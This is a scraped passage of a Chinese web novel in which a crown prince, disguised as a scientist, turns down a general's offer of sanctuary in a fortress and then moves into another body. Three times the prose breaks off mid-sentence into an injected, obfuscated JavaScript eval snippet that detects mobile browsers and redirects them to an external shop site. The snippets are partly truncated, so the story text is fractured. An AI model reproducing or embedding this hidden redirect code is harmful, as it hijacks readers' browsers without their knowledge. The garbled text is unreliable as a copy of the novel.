“是这什么的沦陷,还是那什么的丧失!” 不忍直视的事态发展。 为了各方人物的尊严和清净着想,必须将八卦传播的苗头扼杀在摇篮里。 这两人的私会,确实需要万般谨慎。 厉星鸾是个聪明人,倒也不至于真的会把人强行抱到花园里遛弯;而晏风的马甲无论有没有失忆都会从善如流地配合他的目标,他们的选择很合理。 但不知怎么,明明各方面都没有越雷池半步,两人的谈话内容却总是既严肃又怪怪的。 晏风扶额:“是我的责任吗?因为我的马甲给星鸾留下了太孱弱的印象?” 系统:“可以换个角度想,或许因为您的本尊没有尽到安抚属下的责任,让厉上将有些欲求不满呢。” 晏风:“很新鲜的角度,我该怎么安抚,你倒是说说看。” 系统:“斗胆建议您,以皇太子的身份找个借口,假装孱弱地被他抱到轮椅上推出去散步。” “好处是环境条件会比马甲优越一些,观风阁禁止无关人士进入,您可以光天化日晒太阳,不必半夜偷偷摸摸。” 晏风:“我谢谢你啊。” 系统:“为什么从您的语气里,听出我要被格式化的意味呢。” 系统:“身为奉献毕生侍奉您的奴仆,我早有觉悟,不会因为格式化的威胁就忌惮谏言。” “听说推轮椅是熟能生巧的工作,新人第一次并不容易上手,您还是考虑一下给厉上将学习新技能的机会呢。” 晏风不想说话了。 一旦谈到不正经的事情,算法就跟真人一样兴奋。 只有他不会。 他给自己泼了一盆赛博冷水,花费很大的力气把注意力从脑海中的画面“厉星鸾为他推轮椅”,转移到更重要的事情上。 这家伙究竟为什么会在这种时刻提出散步的邀请,原因绝不可能是想要关心孱弱科学家的健康状态这么简单。 可以确认的是,陪渊先生散步是附带的。 厉星鸾的真正目的,恐怕是换个方式游说渊先生主动争取自由之身,他的性格根本不像表面看到的那么容易放弃。 他提议说: 看一看我为您准备的新居所。 您会喜欢的。 8. 渊先生(7)要塞 从花园里能看到的新居所。 这意味着假设渊先生成功离开研究所,厉星鸾为他准备的新家似乎就在附近,岚峰城的某一处。 但晏风确定本星系内绝无可能存在任何地点,任何方法能够修改任何公民的身份资料,没有人能逃过算法的天罗地网。 他的思路要拓宽一些。 字面意义上的附近并不一定是脚下的土地,也有可能是脱离地平线,在肉眼看到而触手不可及的某处。 比如天空。 渊先生眼帘低垂,他迟迟没有回应厉星鸾的邀请,看不透内心是想拒绝还是在思索。 视线的余光,却轻轻瞥向房间一侧的百叶窗。 那里是房间与外界唯一相连的出口,在他工作疲惫之余可以放松远眺。 此刻,寂静的夜晚,透过窗叶能看到户外皎洁的月色。 银月高悬,在漆黑如天鹅绒的夜空中,月亮背后隐约可见一团浓重的阴影。 一轮巨大的,残缺的红月。 暗红色的月亮。 阴森而肃穆。 或者说,是某种与月亮相似的物体。 那轮阴暗的红月在与边境近月轨道并行的位置缓慢运转,如同一尊沉默而坚毅的守护者,它隐身于黑暗却时刻存在,成为帝国本土星系的一道特殊防线。 赫斐托斯要塞。 神秘的红色防御卫星。 帝国远征军团的前线据点。 它的指挥权限,唯厉星鸾一人独有。 由于要塞的星图位置和地质结构的情况特殊,大多数帝国法则在那里并不适用。 晏风没有亲临过要塞,但他手中握有足够的情报,清楚地描述了厉星鸾是如何掌控权限,在那颗遥远的卫星上时刻履行他忠诚而强势的职责。 “我向您保证。”厉星鸾伸手拉起百叶窗,让月光洒满房间。 那轮红月在渊先生的视野中变得清晰,几乎伸手可触,像个红色的恶魔在以自由的馈赠诱惑着他。 “我保证,一旦您作为人才交流前往要塞协助工作,就能脱离律警司数据库的监督,流程完全合法合规;” “而后,经过短暂的等待期,取得永久居住权之后,您就可以获得所期望的一切形式的自由。” “唯一的代价是,您的活动范围仅限在要塞中。” “它的建筑规模远胜于岚峰城,您不会感到逼仄的。” 厉星鸾的全部邀约,在此彻底展现。 他能给与渊先生的,是在自己保护之下绝对的自由和安心,他管辖的土地上也可以预见到不会存在皇庭的权势纷争和勾心斗角。 这对于醉心研究的纯粹学者来说,无疑是莫大的诱惑。 甚至于渊先生在要塞可以获得公民权限,却能继续保持没有姓氏的身份,研究工作和日常生活不受任何家族的监督管辖。 这一切,都是帝国的普通人根本不敢奢望的生活方式。 所有福利只需他付出一点点牺牲,那就是永远生活在厉星鸾的注视之下,一举一动都逃不过他的眼睛。 与唾手可得的自由相比,新的牢笼似乎并不会增加多少痛苦,毕竟厉星鸾的道德品行要比大多数权贵家族的名流人物优秀的多,他所谓的限制很可能只是谦虚。 长久的沉默。 厉星鸾提出了渊先生难以抗拒的条件,以他的身份没有理由拒绝。 作为渊先生的性格和立场,他坚持原则却又尽量对所有人以礼相待的处事方法,被逼到这个地步或许是他的绝境了。 无论他今晚答应与否,选择的道路必然会在帝国掀起一场轩然大波。 一旦他踏出这间办公室,今后或许将会与曾经的同伴或者对手为敌,不能再保持一名与世无争的学者形象。 并且可以预见的是,有不少憧憬他的追随者,也将因为他的选择而改变自己的人生,众多学术领域的格局会因此发生不可预料的变革。 看似牵一发,实则动全局。 晏风意想不到,厉星鸾的这一招策略,令他觉得巧妙而又完全在情理之中。 他脱离了单纯给人冠姓的浅薄行为,赠予一种全新的生活方式,令束缚之身得到彻底的解脱。 而终极目标,更是为了彼此的双赢。 原来自己的马甲与他这段暧昧不清的关系,并非你进我退这么简单,是厉星鸾精心布局的一场漫长计划的前哨战。 这与他听闻的一些传言,恰好吻合。 晏风轻声道:“星鸾,这家伙选择了一颗相当巧妙的棋子。” 系统:“棋子是指渊先生吗?我不明白,厉上将看起来很真诚。” 晏风:“他的确很真诚,从头到尾都没有一句谎言。” 系统:“但棋子这个词语一般存在于利用他人达到自身目的的语境,具有阴险狡诈的深层含义。您说厉上将是表里如一的人,他怎么会利用他人呢?” 晏风:“正因为他表里如一,才是一个更加可怕的对手。他会将自己相信的事物贯彻到底,为此不择手段。” 在会议室的时候,他曾经以为厉星鸾将邀约的主动权交给渊先生,是因为某些原因对他予取予求。 现在他知道了原因,但一切情势的掌控者究竟是谁,他又不确定了。 已经到了摊牌的时候吗? 渊先生踱步走到窗前,遥望夜空中的那轮红月。 “您的馈赠,让我走近一点看看吧。” 他轻抚着墙壁,银色金属材质的墙面悄然滑开一道缝隙,露出恰好能允许一人进出的尺寸。 是一道窄门。 月光洒落进来。 从办公室穿过这道门能看到花园里的景色,虽然不多,但是足够欣赏。 像一处故意去引人窥探的寂静秘密。 当渊先生在封闭的办公室里坐久了,又不想找人说话的时候,他会从这扇门走出去独自散步。 他缓步穿过门,外出朝着红月悬挂的方向走去,没有特意邀请厉星鸾一起。多余的话不用啰嗦,他知道对方会很知趣地跟上来。 两人一前一后,离开办公室走进花园。 夜晚清新的空气扑面而来,这是与封闭场所的电子机械味完全不同的清爽感觉,两人交谈的紧张气氛似乎被夜风吹得一扫而光。 身后机甲试验场的巨大轮廓在地面投落森然的阴影,悄悄开在角落里的小门,就像渊先生隐藏在这座钢铁怪物里的秘密。 愿意将这个秘密告诉厉星鸾,也算是对他相当信任了。 四周的监控装置在正常运作,路灯光线昏暗,花园小径不见一人。 渊先生随手一挥,空气里悄然弥漫起无数的能量粒子,监控屏幕立刻被伪装画面代替,没有任何人发觉花园里的异样。 宛如偷情一样的花招。 由他做起来却坦然轻松,就像正常的吃饭喝水那样理所当然。 厉星鸾见此情景,似乎开口想说什么。 渊先生回头看他一眼,淡然地笑道:“厉上将,您不用太惊讶。想必您之所以在这么多底层身份的学者中选择我,并非因为我迂腐固执,或者不懂变通,是吗?” “但轮椅的事还是暂且搁置,伪装画面没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939506|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有收录人体以外的轮廓形状,容易被监控室发现异样。” 厉星鸾微微低头:“是我逾距了。” “您有自己的职责。”渊先生站定在一丛风铃草前,指尖随意抚弄叶片。 “厉上将,我知道您能获得赫斐托斯要塞的指挥权,是很不容易的事情。”他缓声说,语气里听不出什么情绪。 “这一切都源于我们与尼兰德海洋星团之间,绵延了近千年的资源争夺战争。” “身处每个时代的人类被卷入战争都是身不由己,我们总是想尽快结束流血和牺牲。” “战局的转机出现在我的同僚机构的研究者们,针对敌方弱点设计的一种远程激光重力原子炮。” “那件武器只用一次进攻就击溃了敌方的卫星防御网络,强行破坏所有卫星的重力结构,使它们变为失去控制的无主孤星。” “就如六百年前,星团对我们所做的事情一样,相同的报复再次上演。” 新型武器的破坏力极为强悍,原本呈网状防御的数百枚卫星被原子炮击溃到四分五裂,分散在星海中漫无目的地飘荡。 其中一颗卫星流落到帝国边境星域内,能量耗尽之后进入主星月球附近的引力轨道圈。 卫星因为遭受原子炮的轰击,重力失控导致行进轨道毫无规律,且内部存留大量的辐射能源。 在帝国本土随时可能遭遇撞击的危机下,厉星鸾所指挥的远征军团冒着辐射能源爆炸的风险,成功将它捕获。 军团乘胜追击,利用卫星特殊的星域位置作为前哨据点,进行光速跃迁,展开疾风般的闪电战。 远在星河彼岸的敌人,失去卫星防御手段来不及组建新的网络,成为被玩弄在股掌之中的猎物,所有的星团据点在数个星历日之内全部被歼灭。 赢得战争的时候,厉星鸾刚满二十岁。 这是他跨入军武司上将级别的重要阶梯,也是众多高级军官学府教科书里的知名战争案例。 厉星鸾并不避讳这些残酷的话题:“尼兰德海洋星团是在我的手中被消灭的,为帝国效力是我的职责所在。” “两国彼此有很深的仇怨,但我在尽量减少流血的情况下结束了这场战争,我认为自己很好地完成了任务。" 流落到帝国境内的红月,是他的战利品。 它成为远征军团出击和补给的重要据点,因为陆地表面遍布的红色辐射粒子无法消除,帝国本土的算法频率在那里会被扭曲,不像主星系这样时刻能监测到每个公民的动向。 在律警司发明算法迭代的技术之前,那片土地是自由的。 战功即是谈判的筹码。 厉星鸾用自己为帝国所做出的贡献,争取到了正常情况绝无可能得到的特权。 赫斐托斯要塞的居民没有身份背景的要求,通过人才交流审阅合格即可移民入境,之后获得永久居住权,持有要塞流通的专门证件。 要塞作为一处远离主星系的前线据点,自然环境和生活条件比较差,中心城市远不如主星繁华,又时刻面对敌袭的威胁,不可能出现大规模移民浪潮。 因此,律警司对现状睁一只眼闭一只眼。 更重要的是,厉星鸾与皇太子殿下交往甚密。 确切地说,曾经。 传闻如今他们的关系有些间隙,但没有切实证据的情况下,大多数人不敢随便得罪这位年轻的上将。 存有这样那样怀疑或者好奇的人,只敢在背后偷偷调侃赫斐托斯要塞的特殊地位。 厉星鸾的小黑屋。 坊间编造的流言蜚语,都如此称呼它。 9. 渊先生(8)难猜 要塞的统帅权限完全被厉星鸾一人把控,内部无论发生任何事情,外界都不会知道一丝一毫。 换句话说,如果他想要把谁骗到要塞里监禁起来,甚至不需要借口就能直接把人打包捆走,律警司的算法根本追踪不到受害者的行迹。 这意味着,其实厉星鸾完全可以二话不说就把渊先生从研究所抢劫走,关进要塞里,制造一起永远无法侦破的失踪案。 他愿意主动提供人才交流的途径,尽力尊重渊先生本人的意愿,这举动实在不能更加光明磊落了。 渊先生想必也听说过小黑屋的传言,厉星鸾耐心为他解释:“我是一名军官,不是变态,我可能会在需要的情况下采取一些很多人不理解的行动,但这其中绝不存在难以启齿的罪恶动机。” “您可以,尽管使用一切方法来调查我。” 话说到这个地步,厉星鸾已经表达出最大的诚意了。 如果渊先生继续坚持拒绝的态度,让这件事无法推进下去,他们的私会关系必然会在今晚彻底断绝。 晏风若有所思:“离开我以后,星鸾变得成熟多了,交流的进退手段十分巧妙。” 系统:“这种时候您怎么还有心思悠闲地评价,您的马甲再不顺从,今后可能就没有跟厉上将说话的机会了。” 晏风:“很惊讶你竟然没有落井下石,怪我没有安抚好属下的情绪,害得他到处找人关小黑屋。” 系统:“我也不是什么时候都只会抖机灵的!” 系统:“我们现在面临的情况很严重,您今晚要是不答应,就会失去厉上将;要是答应的话,会失去研究所的靠山和科研者的身份,之前这个马甲一切的努力都会付诸东流!” 系统:“您是不是就因为不知道怎么选择,急得把线路烧坏才会失忆的?” 晏风:“不必慌张,我失忆的场景不在这里,我们面临的情况也不严重。” 他曾经听闻厉星鸾在为赫斐托斯要塞招贤纳才,这个传言是真是假,今晚已经得到彻底的验证。 收获不小,他很满意。 晏风:“而且,他的目标肯定不止渊先生一个人。” “他选择这位名人作为他计划的突破口,是因为这么做的话,在成功得到渊先生以后再要游说别人就会很容易,这是他不允许失败的重要任务。” 系统:“???” 系统:“殿下您在说什么,这样的话情况不是更加严重了吗!厉上将这是公然在挖皇权的墙角,是明显的谋逆行为,他在要塞集结自己的势力准备造反?” 系统:“我现在就把他枪毙!” 晏风:“可以先把律警司枪毙,是他们的渎职给了要塞钻空子的机会。” “星鸾的做法至少在明面上并无违规之处,他敢这么做就是知道这一切就算被发现,也没有人能立刻制裁他。” “我也曾向律警司多次催促过算法迭代的问题,但你知道皇庭九司并不都听从我的命令。” 系统:“殿下话中有话。” 晏风:“很高兴你理解我的潜台词,那么以你的逻辑水平,应该能够洞悉在我们所处的境地,很多人做事的动机不一定指向他表面看到的方向,你的数据库里有很多案例。” 系统:“您的意思是,厉上将在要塞招揽人才不是为了造反,他总不会是打算做一些对皇庭有利的事情?如果他需要渊先生不是为了他自己,那他是为了别的什么人吗?” 系统:“他是为了谁呢?” 晏风意味深长地笑了笑。 为了谁呢。 好难猜。 又说不定,是他自作多情。 暂且赠送他一些奖赏吧。 为了他珍爱的下属值得探究的这份真心,为了他陪伴自己度过的这个有趣而富有意义的夜晚。 为了他们各自期待中理想的未来,在这一刻的暂别之后能够顺利地延续下去,直到亲手实现彼此梦想中明日光辉的画卷。 即使,它们或许仅仅只是梦想。 晏风在此刻无法走到幕前,但他作为渊先生理应展现符合自身风度的回馈,用适当的礼数作为今晚私会的终结。 然后,就该暂时收手了。 晏风打开意识空间里的马甲资料书,准备脱离这具躯壳。 面对答应或者不答应的两难局面,解决问题的关键不是勉强做出一个让自己陷入窘境的选择,而是有更巧妙的应对方式。 晏风对系统说:“我要走了。” 系统不解:“您这就打算把厉上将晾在这里吗?” 晏风:“是的,我已经得到足够的情报,暂时不能陪他闲聊了,我们的时间很宝贵。” 系统:“但是渊先生还没有做出回答。” 晏风:“很快你会看到我的回答,希望他满意。先看看我们的调查目标里,有谁正在主动找我,这是我的下一个目的地。” 系统:“好的,正想通知您。” 系统:“有人给您连发三条留言,是关主教。” 关朔夜。 晏风少年时代的挚友,他离经叛道的伙伴。 费利希蒂教廷白银十字自治领星的主教长,教廷名义和实权上的双重掌管者。 资料只有简短的介绍。 但字数越少,事情越大。 晏风:“是朔夜吗,他说什么了。” 系统:“……” 晏风:“有什么不方便转达的内容?但说无妨。” 系统:“宝贝,速回。X3” 晏风:“明白了。” 系统:“您就……明白了?” 晏风:“有什么问题吗,你是认为我的马甲缺少足够的魅力,没有资格担当得起这样的称呼?” 系统:“啊这。” 系统:“抱歉,是我浅薄。……要不然,我们还是谈谈厉上将这边的问题吧。” 晏风:“很高兴你能理解现状,不过已经谈完了,就在我们说话的时候。” 有些事情会在彼此的沉默中自动发生进展,多说反而无益。 厉星鸾见渊先生一直不吭声,隐约察觉到他有些心不在焉。 他今天总是心不在焉。 这样的状态,与渊先生以往礼数周到的态度大相径庭。 厉星鸾很清楚渊先生的性格只是表面上温柔和善,似乎很容易相处。事实上他对每件工作和每一句交流都处理得滴水不漏,容不得自己一丁点疏忽。 温柔随和是他给人的错觉,真实的他就像绵软毛毡铸成的一道城墙,能将各种敌意悄然化解于无形之中,绝无可能轻易被抓住把柄。 但今晚,他经常流露出一些破绽。 这是厉星鸾感到陌生的东西。 尽管渊先生很好地将自己屡次的小失误隐藏起来,但他面前的对手观察力非同一般。 厉星鸾猜测渊先生心里埋藏着什么秘密,他相信这些秘密里并不包含恶意和阴谋。相比在用沉默来回避自己面临的困境,渊先生更像在思索一些比困境更加重要的事情。 是什么事情? 是他漏掉了什么细节,还是他太急躁了? 过早地摊出底牌,将话题一口气推进到难以商榷的地步,将这位对他来说势在必得的对象逼迫到无路可退的境地,必须在对皇权的忠诚和个人的幸福之间做出选择。 厉星鸾很擅长揣摩敌人的心理,利用各种方式迅速达到战略目标,而此刻,他的内心突然涌起一丝复杂的情感。 将自己在战场上磨练出的冷静和执着,凛然又不失强硬的交涉手段,悉数施加在眼前这位对权谋斗争毫无经验,却不得不在各方势力角逐中苦苦挣扎的天才科学家身上…… 是不是太残忍了? 渊先生纯粹的理想之国。 他的才华,他的思虑。 他全部的人生原本都应当奉献给他挚爱的科学事业,却因为自身难以用财富估量的价值而被争夺和利用。 厉星鸾怀疑,自己是不是过于在意自身的成败,而忽略了对方某些无法言说的难处? 至少,他在这一局里需要的是彼此的坦诚,而非一方被迫臣服。 也许他…… 正在这时,渊先生不动声色地瞥了一眼塔楼上的时钟。 他的动作很细微,很迅速。 晏风的小花招。 这个动作的时间和幅度,刚好卡在只有厉星鸾才能注意到的点上,一般人绝不可能把握的这么精准,这让他突然觉察到一种可能性。 他脱口而出:“渊先生,您今晚是不是约了别人?” 原来如此。 这就是渊先生走神的原因。 势力角逐和利用价值。 除了自己,还有其他人在纠缠他。 确实,军武司内部了如指掌的情报,对帝国整个军事学界来说举足轻重的人物,必然很多人都会感兴趣。 厉星鸾的疑问,得到了看似合理的解答。 渊先生温和地笑了笑,神情中却带着一丝苦涩。 “厉上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939507|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将,我能留给您的时间不多了。” 所有的心事,尽在不言中。 他默许了厉星鸾的猜测,且含蓄地表达自己无法将事实坦诚相告。 不能给出任何回答。 这就是他的回答。 在他的处境,唯一能做的是保持学者应有的风度,将厉星鸾对他的尊重态度给予相符的回馈,感激他一视同仁地看待自己这个没有姓氏的帝国奴仆。 “厉上将,您不必质疑自己的品行。” 渊先生面对着厉星鸾,缓步后退一些距离,指尖从虚空里捻起一个细小发光的东西。 他的语气,一如既往的温和。 “残酷的战场不会磨灭您真挚的人性,您是一位高尚,凛然,正直的军事领袖。您永远不会成为自己所唾弃的,一个邪恶狡诈的阴谋家,这一点您要对自己有信心。” “在竭力达到目标的时候,请不要怀疑您采用的手段是否过于激进。正如您自己所说,您只是在必要的时候采取了合适的行动,其中绝无任何肮脏的私欲。” “请您,绝对不要怀疑自己。” 发光的物体在指尖颤动,化作一只微小的蝴蝶。 这是高频能源凝聚而成的虚拟实体,通过研究所的能源信道传送,是只有渊先生的职级才能在非工作场所独自启动的权限。 仅有几毫米直径的光点,蕴藏着足以笼罩整个逐风山脉的能量。 厉星鸾配得上这样的礼物。 蝴蝶浅蓝的荧光映照在渊先生神色宁静的眼瞳中,它的尾部拖曳出细长的光旋,像灵动的活物一般脱离他的手指在空中飞舞,画出一道弧形光晕,轻轻停留在厉星鸾的肩头。 细小的羽翼,扑扇了几下。 “我无法给出您想要的回答,这件小礼物作为补偿。” 渊先生做出一个手势,空气中浮现出几行代码构成的文字信息。 “【深渊的告死蝶】。” “这是一种便携式的大范围光线能源武器,能够短暂影响数千公里内敌人的视觉,强度和领域可控。” “它能在任何时间地点,打击帝国星域内的任何位置,有着绝对的威慑力,但不会造成伤亡或者后遗症,相信在一些场合会对您有用的。” 这不是厉星鸾想要的。 却是渊先生可以给出最诚恳的回报。 厉星鸾垂眸望着渊先生的礼物,神情有些微妙,像一种难以言说的遗憾,而眼中又带着一点怅然而执拗的微光。 有些东西,即将与他擦身而过。 他低声道:“……非官方场合私赠兵器,严重违反军武司和研究所的规章制度。您在某些方面过于大胆了,不必为我冒这么大的风险。” 渊先生淡然一笑:“为什么您会质疑我的做事分寸,这是我闲暇制作的小玩具,有实用价值但不符合入库规格,处理权在我手中。” “希望您合法合规地使用。” “然后,您该走了。” ——这就是,我能够给予的全部。 谈判到此为止。 没有任何回旋余地,礼貌而决然的结束语。 渊先生的请离不是一句软弱的客气话,他在赠礼的同时已经向厉星鸾展示了对待客人纠缠不休的方式。 必要的时候,他拥有操纵研究所现役武器的一切权限。 他既然可以随时唤醒一只能源蝴蝶,也可以在这座花园里启动激光器,巡弋飞弹,核能枪炮或者随便什么杀伤力巨大的装备,精准地将面前的人类躯体轰成碎片,同时不会损伤周围的其他物体。 手中无剑,心中有剑。 这就是渊先生温柔的坚持。 厉星鸾了然于心,今晚的谈话已无进展的可能:“明白您的意思,我这就告辞。” 继续纠缠不休,只会显得自己粗鲁无礼。 “是我的礼数不周让您感到犹豫,十分抱歉。选择比我更好的合作对象是您的自由,但将来假如有一天您做出了最终的决定,请务必让我知道,这对我相当重要。” “您赠送的礼物,我会好好珍惜。” “祝您拥有一个美好的夜晚。” 厉星鸾将蝴蝶小心翼翼地收拢进袖口,毅然转身。 头也不回地走了。 蝴蝶随着他,翩然而去。 花园里,只留下了渊先生一人。 “也祝您晚安。” “厉上将。” 温和的学者轻声细语。 “……星鸾,我的朋友。” 10. 渊先生(9)留言 厉星鸾离开以后,晏风独自在花园里站了很久。 他望着那道挺拔的背影逐渐远去,确认对方真的走了,才轻轻叹了口气。 一直专注的神经,终于放松下来。 真是难缠的对手。 直到最后也步步紧逼,容不得他有半点松懈。 如果厉星鸾面前的对手不是晏风,而真是一位名为渊先生的科学家,绝无可能设下精细的心理陷阱,让他产生深信不疑的误会。 除了他以外的合作对象。 无法言说的其他势力角色。 令渊先生困扰的,这些根本不存在的对象究竟是谁,足够厉星鸾烦恼一番了。 又或许,他很快会觉察到端倪。 问题就留给他们下次见面的时候解决吧。 令人头疼的处境。 晏风却笑了。 正是这样的对手,才值得奖赏。 只有能力超群的野心家,才有资格站在他的身边,为他所用。 时间不早了,晏风快步从原路返回,顺手收起监控伪装,离开花园。 渊先生的办公室里依然亮着灯光,通往研究楼的那扇门留下了一道缝隙,是厉星鸾从原路返回的痕迹。 晏风关上门,走向房间角落的单人床,躺下准备进入马甲的休眠状态,离开渊先生的躯壳。 宿主脱离之后,马甲将会转换成挂机状态,自动维持最低限度的日常生活。 系统:“殿下刚才演的真好,看得我心惊胆战。” 晏风闭目躺在床上:“不完全是演的,至少我的赞赏之情毫无虚假。” 扮演马甲是为了行使本尊的职责,马甲的真心也是他自身的真心,他绝不会借着虚拟形象去玩弄谁的感情。 系统沉默数秒,突然出声:“……其实,殿下还是很温柔的吧。” 晏风十分奇怪:“为什么突然说这个。” 系统:“套出厉上将的真心话,对您来说已经完成了任务。您完全可以不在乎他的心情,继续利用他对渊先生的执着,但您选择用礼物安抚了厉上将的遗憾。” 系统:“能够侍奉您这样的君主,我感到很荣幸。” 晏风笑笑:“都是谋略而已。” 谋略而已。 也许吧。 不可能是温柔。 温柔,只会把他自己置于死地。 他不该拥有这种东西。 意识开始传送。 在脱离马甲的时候,晏风用皇太子的身份给厉星鸾发了一条消息,今晚发生的事情让他突然想见见这个久违的朋友。 晏风写道:“星鸾,明天到观风阁陪我一起吃早餐。” 写完以后,他想了想又删掉了。 国辅司衡君提醒过他很多次,关于君臣交谈礼节的规矩必须时刻牢记,他不能用这么随便的语气跟厉星鸾说话。 于是,晏风重新写道:“星鸾,我听说今晚研究所发生了一些事情,明早来观风阁向我汇报。” 这就对了,他们之间保持一点距离比较好。 晏风确认内容无误,将信息发了出去。 随后,他的意识脱离躯壳。 渊先生闭上眼睛陷入了沉睡,脑中响起系统的提示:“前方目的地,教廷星域白银十字领星,星域距离2.33万星程。” “光速迁跃时间,预计20分钟。” “请殿下小憩片刻。” *** 深夜,研究所里静悄悄的。 树叶在夜风中摇曳,带着一丝悠然的花香。这是夏季盛开在岚峰城的夜岚花,它淡雅清丽,纯洁无瑕,跟渊先生清高的气质很像。 花园里,月光映照出一道身影。 厉星鸾独自在花园小径,他凛然的身姿如同劲松般挺拔,军靴踏出规整的脚步声,回荡在万籁俱寂的夜色里。 工作到这么晚,他脸上仍不见有丝毫的疲态,依然是一派沉稳从容。夜风吹起他的披风,吹乱了他的黑发,无数花瓣在风中扬起,在他身旁纷飞。 渊先生没有答应厉星鸾的建议,是预料之中的结果。 厉星鸾了解渊先生的品德,他不会为自己的私欲改变立场,总是为大局着想。这样坚决的态度并不让厉星鸾觉得被冒犯,只会更加敬重他,渊先生这样的人值得他去争取。 厉星鸾在渊先生身上,找到了自己奋斗的意义。 他的生命意义,他前进的道路。 这是厉星鸾曾经答应过某个人,一定会找到的东西。 那一日,他在观风阁许下的誓言。 它像是一件很久以前的事情,又好像昨天才发生。 厉星鸾时常午夜梦回的时候,想起那个人端丽凛然的身姿——帝国年轻的继承者,晏家唯一的血脉,他期待中未来的宇宙霸主。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939508|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他站在缱绻的夕阳下,声音飘散在风里,听起来很遥远。 他说:“星鸾,请离开我身边。” “帝国比我更需要你,我不该将你独占。” “请离开我,去寻找属于你的生命意义。” 厉星鸾只想作为皇家的利刃侍奉他,他想永远保护他。他从未思考过自己除了这件事会有其他选择,厉家的每个人都不曾也不敢去想。 他们的全部人生是为掌权者奉献一切,这是厉家的家族天生被赋予的命运。 但他笑着拒绝了:“星鸾,命运是可以改变的,诞生在这个时代的你,担当的责任比你想象中重要得多。” “你和我都应该为了这个世界不断向前,探索我们可以到达的极限,不是作为谁的附庸,而是作为自己去寻找属于你的道路。” “如果你愿意离开我,去这样做,我会很高兴。” “希望我有一天,能听到你的好消息。” “我永远在观风阁等待你。” 晏风说,他永远等待着他。 这是厉星鸾一切奋斗力量的源泉,是他们两人之间的秘密誓言。 如今,晏风也许早就忘了这件事,他的视野太广阔,遥望着别人看不到的远方。厉星鸾不奢望他会记得,只要自己记得就够了,他向别人索取的东西一向很少。 幸运的是,他找到了这样的道路,这使他的生命有了新的意义。 这条路可能会通往他和皇庭的敌对局面,但厉星鸾不准备放弃。他相信晏风会理解他的用心,他相信这位年轻君主宽容的胸襟。 厉星鸾相信自己的选择,是正确的。 穿过花园小径,研究所的大门就在眼前。 路灯下,军武司派来的车在等待,随从军官见他回来了,恭敬行礼:“上将阁下,工作一天辛苦您了。” “没关系,”厉星鸾随手拢起披风,坐进车里,“有我的留言吗?” “有一道加密留言,备注是请您有空的时候慢慢看。” 厉星鸾的视线投向车内办公台的留言机,他伸手按下提示灯,听见了那个久违的声音。 “星鸾,我听说今晚研究所发生了一些事情,明早来观风阁向我汇报。” 温和,礼貌,从容而不失威仪的语气。 是他熟悉的声音。 是晏风。 他的皇太子殿下。 11. 执血的弥赛亚(1)人偶 晏风从混沌的精神世界里醒来,头晕目眩。 夜风吹在身上很冷,他发现自己躺在一辆敞篷车的后座上,车子停靠在一条昏暗的街道旁。 离开渊先生的躯壳,经过短暂的思维迁跃,他转换到了新马甲身上。 如计划的一样。 空气里弥漫着酒精的味道,晏风自己身上也有酒气,他喝了很多酒。 新马甲的品行似乎很堕落。 但他已经看过身份资料,这是任务需要的一环。 晏风动了动身体,脚下踢到几个酒瓶。红酒洒在车厢里散发出醇香的味道,他深深嗅了一口,发出迷醉的叹息。 魅惑的香气。 身为皇太子的时候,他是不能这样酗酒的。 穿着马甲,就偶尔放纵一下自己吧。 从后视镜里,晏风看见一张精致漂亮的脸庞,这就是他的第二个马甲。 约莫十七八岁的少年,穿着一件火辣的黑色皮衣,肌肤白皙如雪。他的瞳孔是金色的,唇形漂亮,天生微翘的唇角略带笑意,眼底却透着一层冷淡。 桀骜又神秘,能轻易勾起罪恶和暴虐的征服欲。 他是那种惹人疯狂的类型,和严谨朴素的渊先生完全相反。 晏风看着镜子:“这张脸无论看几次,都不得不称赞朔夜的审美品位,他真是制造了一件精美绝伦的艺术品。” 系统:“您可以更加直接地夸奖自己的美貌。” 晏风:“好的,我很美。” 系统:“禁止水仙。” 晏风:“竟敢勒令宿主,我要生气了。” 系统:“禁止拿系统来练手!您顶着这样一张脸来撒娇,任何人都会把持不住的!我很害怕!” 晏风:“很好,我需要你的短路来验证马甲的演技,看来掌握的还不错。” 毕竟这一次的对手,就某些方面而言是个令人胆颤的魔鬼,关朔夜如今在教廷的名声大家都很清楚,靠寻常手段是不能吸引他的。 系统:“可以说真心话吗?主教阁下是我最不想打交道的人,我们在敞篷车里呆一夜吧,我不想陪您回去。” 晏风:“争气一点,这次朔夜主动来找我,这是刺探他的好机会。” 这具马甲在挂机的时候接受了关朔夜指派的教廷任务,如今正身处异地。 晏风因为失忆,并不记得他们在这个阶段的关系进展如何,但根据现有细节推测,自己在他身边拥有相当重要的地位。 